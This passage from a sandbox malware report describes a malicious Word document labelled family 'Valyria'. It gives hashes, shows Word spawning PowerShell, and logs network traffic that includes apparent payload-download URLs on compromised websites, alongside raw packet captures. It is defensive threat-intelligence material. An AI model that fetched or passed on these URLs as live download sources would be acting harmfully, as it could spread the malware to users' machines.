index_html.json

[*] MalFamily: "Valyria"

[*] MalScore: 10.0

[*] File Name: "index.html"
[*] File Size: 152832
[*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: 16688Ap28750, Subject: 4379Ap89773, Author: Apaeluxaquwyn-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jun 22 11:38:00 2018, Last Saved Time/Date: Fri Jun 22 11:38:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
[*] SHA256: "70f57e2a718c7ef0df5b1b7df0cebf9a7aa65e67f1d6636e816780a8439fe045"
[*] MD5: "3b7044b040ece1c0457e1a74dec5d8b1"
[*] SHA1: "4dac23f2c518ad61d57acb28fb407a24dd7337c0"
[*] SHA512: "0f441eea87e6b12d0a796eced306cd671c8622db4bee1fe3560a2776f987f97d629fe3f6953472a5571416b3ef48a73ab257594f9a1ce1fb5e509a3deb1bbd3f"
[*] CRC32: "5ADCA575"
[*] SSDEEP: "1536:KjQIKgMSORC7R93PJ+aJxFht8nIg1gq/knZG+TNpvwcTd0OScGwfXHnXmz3fiPQE:KeBSOCT3PBhjThjEnn6Ttpe"

[*] Process Execution: [
    "WINWORD.EXE",
    "PowersHell.exe"
]

[*] Signatures Detected: [
    {
        "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
        "Details": [
            {
                "IP": "52.109.20.1:443"
            },
            {
                "IP": "52.109.20.4:443"
            },
            {
                "IP": "104.85.240.25:443"
            },
            {
                "IP": "104.18.24.243:80"
            },
            {
                "IP": "192.249.119.213:80"
            },
            {
                "IP": "72.21.91.29:80"
            },
            {
                "IP": "23.64.189.123:443"
            }
        ]
    },
    {
        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details": [
            {
                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
            },
            {
                "suspicious_request": "http://cilinka.nl/jfOePxbR/"
            },
            {
                "suspicious_request": "http://www.cilinka.nl/jfOePxbR/"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
            },
            {
                "suspicious_request": "http://chinaimbiss-buettgen.de/my1fugwV/"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
            },
            {
                "suspicious_request": "http://www.talatmobilya.com/mc3yyPN/"
            },
            {
                "suspicious_request": "http://redirector.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe"
            },
            {
                "suspicious_request": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D"
            },
            {
                "suspicious_request": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
            },
            {
                "suspicious_request": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D"
            },
            {
                "suspicious_request": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
            },
            {
                "suspicious_request": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D"
            },
            {
                "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D"
            },
            {
                "suspicious_request": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
            }
        ]
    },
    {
        "Description": "Performs some HTTP requests",
        "Details": [
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
            },
            {
                "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
            },
            {
                "url": "http://cilinka.nl/jfOePxbR/"
            },
            {
                "url": "http://www.cilinka.nl/jfOePxbR/"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
            },
            {
                "url": "http://chinaimbiss-buettgen.de/my1fugwV/"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
            },
            {
                "url": "http://www.talatmobilya.com/mc3yyPN/"
            },
            {
                "url": "http://redirector.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe"
            },
            {
                "url": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes"
            },
            {
                "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D"
            },
            {
                "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D"
            },
            {
                "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D"
            },
            {
                "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D"
            },
            {
                "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D"
            },
            {
                "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
            },
            {
                "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
            },
            {
                "url": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D"
            },
            {
                "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
            },
            {
                "url": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D"
            },
            {
                "url": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
            }
        ]
    },
    {
        "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
        "Details": [
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x01\\xac\\xc9\\xe5#\\xc0\\xc96y\\xf7c\\xed#\\x19\\xbd\\x16tzm2\\xf2\\xa1yt\\xb5ty\\xa3\\xb4r\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x01\\xac\\xc9\\xe0\\xe1\"\\xc8\\xeb\tq\\xb0&\\xff\\x13\\x01|\\xe6\\xca\\x1f\\xf1\\x1b\\xee\\xa2\\xf7\\xffq\\x0cs\\xd4^\\x0f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xabymc\\x81\n\\xcc\\xb7&h\\xdc\\xcf\n\\xb7\\xd2\\x19\\e\\xdc`4s\\xec7r8\\x0e\\x108z\\xaa\n\\xa0\\x81\\x9aan\\x91.\\xce\\x0e\\xb7o`jw\\x94/a~\\x9b4\\xf6\\xf6x\\x1dp=\\xa3_f\\xa8\\xecz\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcb|\\x8cd\\x97-\\xea\\x012\\xad\\xdd^e\\xa6\\x1bx\\xb9\\xc9,\\xfc\\xc9\\xc1\\x9f\\xd3'-y\\x08@gp!n\tf\\xd4%\\x8b\\xf3\\xde\\x9f\\xecu\\x94\\xb2\\xa9\n\\xde"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9(b@m\\x1c \\x0e\\xae\\xfb\\x9br*\\xb8c\\xab2\t\\x93q\\xcenm\\x88\\x1cy\\xf8g3bfy#\\xe3;\\xd6\\xec\\x8d\\x04\\xe1,\\x89[\\x03\\xf0f\\xe6;\\x1c\\x10\\xd9\\x96\\xa6\\xf8\\x8f\\xee\\x1c\\xb1\\xd2\\x95\\x95z\\xcf\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1\\x00\\xd9\\xfcd\\x81\\xf7do*\\xa2\\xacs\\xac\\x7f\\xdf\\x19i\\xcd\\x01\\x9ev\\x1b8>[\\xc4t\\x98\\xae\r\\x99'\\xaf8\\xe3?\\xfe\\x82\\xdec\\x05\\xfb\\x9av\\xa3\\x99\n"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa7\\xb1\\x89\\x9c\\xa5\\xcd!|(\\xeff\\xc2\\xf4\\xefk\\xdd\\xdaq\\x1f\\xdf\\x0c\\xbfzx\\xceq\\x0e\\x17\\xe9\\xb3\\x92\" :)\\xa2\\xf4\\xd1\\x11\\xa1\\xb1\\xa9\\xb8\\xf2%\\xb1\\x9f\\x9e\\xed\\xc6\\xc8x\\xe3\\x19\\xc1_\\xdf\\x90\\xd5\\xb1rvy\\x7fl\n\\xfb\nq3\\x0e\\x1bt\\x97'r\\xd9o\\xb3\\x1e\\xae\\x9eh\\x82?`\\xc1\\x83sg9\\xb8\\x03\\xbdp\\xc2\\x01\\x1a\\xfa6\\x0b\\xdb\\xa7h\\xb87#\\xab\\x11\\xc2\\xd1t8\\x0f\\x07g|\\xd9\\xd8p\\xb2\\xdb\\xd2\\x14\\x1e;[\\xf3y\\xcb\\x92b\\x1f\\xc0\\x1b\\x0b\\xc5\\+\\xc7+?}.,\\x8f\\xb4g\\xd6h\\x97\\x8cfck\\xdb\\x13\\x8a\\x9f\\xeer\\xec\\x19\\xca\\xf0\\xc9\\xb5\\xd8$\\x9c\\xf9v@ot\\xe7\t\\x01\\x94\\x03\\x12>\\xab\\xb6\\xf7\\xedw\\xf1w\\xab\\xc2\\xbclc\\xa49\\xe4\\x15\\x93\\xa5\\x7f\\xe1i\\xd6\\xbd\\xdf\\x15\\xcepc\\x93q\\x14\\xf0es\\x0f\\x96x]#\\xc95r2\\x8e\\xb5\\x1c+\\x8a\\xdc\\xcesu\\xbfs\\x07\\x07\\xaa1x\\xa3\\xdc\\xb4y\\xc2\\x81\\x03r\\xa8:"
            },
            {
                "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\ncache-control: max-age = 89056\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 mar 2019 18:30:24 gmt\r\nif-"
            },
            {
                "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p7\\x9c\\xe6y\\xc7(\\x99\\xdb,\\xe4\\xd6ef\\x8f\\xe1\\xc3o\\xfb\\x01\\xc5i\\x0b\\xf6tsr\\xce\\xdava\\xbcr{\\xfe}s\\x1el'\t\\xb4g\\x91\\xf3\\x05\\x0e\\xad\\x9d\\x146\\xec\\xdb\\x91hv\\xc9?y7\\xe2r\\xd5\\x13l^fm\\xdei\\xd0\\xc4dw\\xfe\\xd6g\\xf52y\\x05\\x82#\\x07\\x8dy ,\\xb2\\x83w\\x8f\\xa4s\\xad\\xc2\\x0b#j\\xed}e\\x0ba\\x979+\\xf9\\x89\\xd0\\x84\\xaak\\xc3\\x14\\xb9dz^n\\xd3\\x8e\\x92\\xb4,\\xa4\\xac\\xcf\\xe1_\\xf6\\x04\\xef\\xf0!8\ni\\xa3\\xe4.tz\\x86gkkc\\xb3gt\\xe9\\xc4s)x\\xc8$\\xdaz\\xab\\xef\\x04m\\xbf\\xd4\\x88\\x0f\\xff\\x8fy\\xfb|.m\\xf0\\xefr:rsu\\xaeb\\x075\\xe0w\\x1e\\x10\\x1b\\xc2\\xbe\\xd8\\xd6\\xb8\\x83\\xf2\\x0f\\xd0\\x88\\x17~z\\xa1\\x82a\\x95\\x84 \\xc8\\x9f\\x92\\xda\\xe1\\xad\\xacn\\x7f\\x04&\\xe2\\xa0l\\x86\\xc7\\xb2\\xadk\\x07y\\x10##\\xc0\\xa7\\xd0\\xc7\\xd7\\xe2\\xa3.e\\xb0\\xe3\\x9ey\\x8b\\x1d\\x94\\xb3\\xcb"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\x91\\xa7\\x978md1bru\\\\xcf\\xc6\\x19\\xef\\xadi<\\xd1\\x99\\x12\\x0c\\xe4\\xff\\xb2\\xea\\xc0u\\xd2\\x89\\xcd\\xa2\\xc5i\\xd2\\xe2\\xf8\\xf5s\\xde\\x82\\xa3\\xbf\\xf6jm\\x84\\xfe8\\x810r\\xaf\\xa6\\xa2\\x82\\x9b\\xc679\\xf4{\\xd3\\x9c\\xce\\xfd\\xa3\\xec\\xd4e\\xc8\\xb7\\xdf\\x0f\"\\x96oec\\x93-s\\xb2b\\xefb\\xe6\\x8a\\xa9\\x8al\\xef\\xba\\x17j\\xe1\\x01\\xa9\\x9c=s/n\\x97o`!'t\\xd0\\xfc\\xc7xt\\xa0gh/\\x057\\xc9\\xb3\\xd8\\xac0\\xf4o\\xa5\\x17\\x89n\\xc7%\\xe5\\xc0f\\xfd \\x0e\\xc1\\xfe?\\x8f\\x1bz\\xf9\\x99\\x8b\\xd9\\xf3\\xe4\"_\\xcda\\x80;l,o\\xc7\\xe9\\xfa\\xa9\\xb0\\xaa\\xb6n\\xbd\\xff\\xd1{\\xf0$\r0k\\xd9\\x89\\xce\\xb5\\xbe\\xach\\xc8\\x91<\\xec\\x8ec\\xf2\\xabm17\\x95\\xe8d\\xad\\xad\\xa6;\\xb8\\xd0\\x98u\\xbc\\xaa\\xc9\\x95\\xcf\\x94\\x9c\\xcf]\\x15\\xae\\x80\\x89\\x86j\\x1dt\\x82\\xc32\\x1a\\xddz\\xe4\\xb9\\x11\\xbd:\\xe6\\xa7k\\xd3e\\xec\\xa5\\x0c\\x98~\\xa5|\\xe3\\xdf>\\xa1\\x8e"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x01\\xac\\xda\t\\x05\\xffz\\x90xc\\x9cjt\\x98\\xc0\\x07\\xa3\\x92\\xb4\\xb0\\xc1\\x02\\xef\\xe4\\x9c\\x01\\xec\\xfb\\x04w^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc3\\xeb[{ \\x8c\\xcd\\x81\\xe2\\xa3\\xda\\x82t\\x0f>\\xf5uj8w.\\xbb_9\\xb2m\\xff\\x08\\x1eo'\\xb1\\xc8\\xe2\\xdb5\\x80s\\xeb8dl\\xcb\\xb2\\xfbd\\x94,\\x84\\xe6!\\xfd\n\\x1e\\xca\nk\\xb9\\xbb\\xa1\\xc2'9\\xc4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xda'\r4s\\x99\\xbd\\xcb\\xce\\xd9~\\x8c\\x88\\x9a\\xe1*1\\xdc\\xd5}\\xa8\\xe3x\\xc3z\\x08\\xeez}b\\x92o*\\xd0\\xc5\\xc67\\xa5\\xdc\\x82\\xd8\\x88`\\xfb>\\x1ezx"
            },
            {
                "http_request": "winword.exe_WSASend_\\x98\\x98=\t\\x98h=\t\\x0cz\\xbfe[rv\\x0c\\xf1\\xef_\\x1b\\xad\\xf0\\xe3\\xe4\\xc8\\xc4\\xf0\\x85\r2|<\\x94?\\xf7./yor\\x84m\\xc9t\\xca\\xdew\\x1b\\x89<n\\x16n\\xd2\\xd0\\xc0\\xa0\\xa4;\\x8f\\xd7\\xb1i\\xa2\\x01\\xf3\\x89\\x8f$}\\x99\\xa3\\xce\\xc8\\xf4\\xb9\\x8e\\x98\\xf7\\xad\\x90\\xc8\\xb5\\x04\\xc6\\x9f!\\xf1l\\xad\\x16\\xec1\\x92\\xc3i\\xf1nv\\xcfym\\xcd\\x17\\x98x\\x87\\x1ah\\x86\n3\\x81\\xcc\\x9b\\xed\\xc5\\xf66\\xbf\\x9a\\xc7\\xac\\xe4z6\\xe5u_\\xf2\\xf2}\\x1a\\xdf\\x04x\\xec\\xae\n\\xd5<\\xf0.\\xca\\x03c\\xdd\\xa4\\x83\\x18s\\x9a\\xc7t,\\xee\\xab\\x0f\\xdf9[\\x97c\\xcf\\x13\\x8d[u) \\xf6\\x05\\xd2\\x98\\x8e\\x8f\\xd3\\x8a\\xb6\\x1c\\x803\\xc5u\\xe5\\x819yq=\\x1b\\x06!n\\xfcd\\xed\\xd5\\xc0~hc\\xfb\\x84\\x11\\xf6!\\xa7xh\\xde\\x80\\xc3\\xce\\x1e\\x99\\xa8\\xd8\\xdaou\\x06\"\\xaf\\xf3\\xcc\\xef\\xdd\\xc3\\x0c.z\\xf0\\x17?\\xe7\\xc4\\xd0\\x995+m\\xfc\\x1f\\xc0e\\x0cl\\xd2\\xea\\xd8\\x00\\xfe\\xf2\\x88\\xa0"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x0e\\xe4\\xf3\\x12b)*\\xb97\\xdb\\xf2'\\xc6\\xaa\\xde-\\xf9>\\xfbi\\xe5\\xfd4\\xb1m\\x04~\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
